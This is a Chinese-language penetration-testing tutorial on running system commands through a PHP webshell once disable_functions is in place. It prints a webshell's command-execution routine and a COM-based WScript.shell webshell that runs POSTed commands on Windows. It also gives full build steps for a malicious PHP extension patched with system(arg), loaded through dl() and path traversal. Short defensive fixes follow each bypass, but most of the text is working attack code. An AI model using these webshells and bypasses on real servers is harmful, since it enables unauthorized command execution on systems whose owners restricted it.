0x00 前言
上傳webshell後,執行命令時或許沒法執行了,這時我們該分析下原理並想出繞過方式,防守方也必須根據繞過方式想想更強的防禦.
0x01 php webshell執行命令原理
php webshell(以下簡稱webshell)下是怎麼執行系統命令的?我們找一個webshell分析下
搜索關鍵字定位到以下代碼
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
即按順利調用system(),passthru(),shell_exec,exec,popen函數 成功調用就不再往下調用
0x02禁止webshell執行命令原理
Php配置文件裏面有個disable_functions = 配置,這個禁止某些php函數,
服務器便是用這個來禁止php的執行命令函數,
例如
disable_functions =system,passthru,shell_exec,exec,popen
便禁止了用這些函數來執行系統命令
0x03黑名單繞過
知道了原理後,我們便能想出很多繞過的方式
首先是黑名單繞過
我們看看php下能夠執行系統命令的函數有哪些
assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,``(<strong>反單引號</strong>)
那麼 便可以看看php.ini中的disable_function漏過了哪些函數。
然後 hack it.
曾經在給某大企業做滲透測試時,未禁用assert 成功執行命令
烏雲上的案例 未禁用proc_open而引起
http://www.wooyun.org/bugs/wooyun-2013-015991
解決方案:關注並收集php系統命令執行函數,補齊disable_function項。
0x04 系統組件繞過
這個方法適用於windows
看代碼
<?php
$command=$_POST[a];
$wsh = new COM('WScript.shell'); // 生成一個COM對象
$exec = $wsh->exec('cmd.exe /c '.$command); //調用對象方法來執行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput
?>
Shell.Application也可以實現同樣的效果
徹底的解決方案是 直接刪除System32目錄下wshom.ocx文件
0x05拓展庫繞過
Linux下可通過編譯拓展庫進行繞過
網絡上的方法及官方的方法 都提示錯誤,
經過研究 給出一種正確編譯PHP拓展庫的方法
前方高能。
首先得知PHP服務器php版本,下載個相同或相近版本的php源碼包
tar zxvf php-5.3.10.tar.gz //解壓縮
cd php-5.3.10/ext
./ext_skel --extname=dl //生成名爲dl的拓展庫
cd dl
vi config.m4
將這三行
PHP_ARG_WITH(dl, for dl support,
Make sure that the comment is aligned:
[ --with-dl Include dl support])
前面的dnl去掉並保存
whereis phpize //找出phpize路徑
/usr/local/bin/phpize // 運行phpize
vi dl.c
在
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s", &arg, &arg_len) == FAILURE) {
return;
}
這一行下添加
system(arg);
whereis php-config //找出php-config的路徑
./configure --whith-php-config=php-config路徑
make
make install
[root@TENCENT64 ~/php-5.3.10/ext/dl]# make install
Installing shared extensions: /usr/local/lib/php/extensions/no-debug-non-zts-20121212/
成功生成了
查看php.ini的
extension_dir 項
將
/usr/local/lib/php/extensions/no-debug-non-zts-20121212/dl.so
拷貝到extension_dir目錄下
若extension_dir目錄無寫權限則可寫入任意目錄用…/…/來繞過並調用。
利用代碼:
<?php
dl("dl.so"); //dl.so在extension_dir目錄,如不在則用../../來實現調用
confirm_dl_compiled("$_GET[a]>1.txt");
?>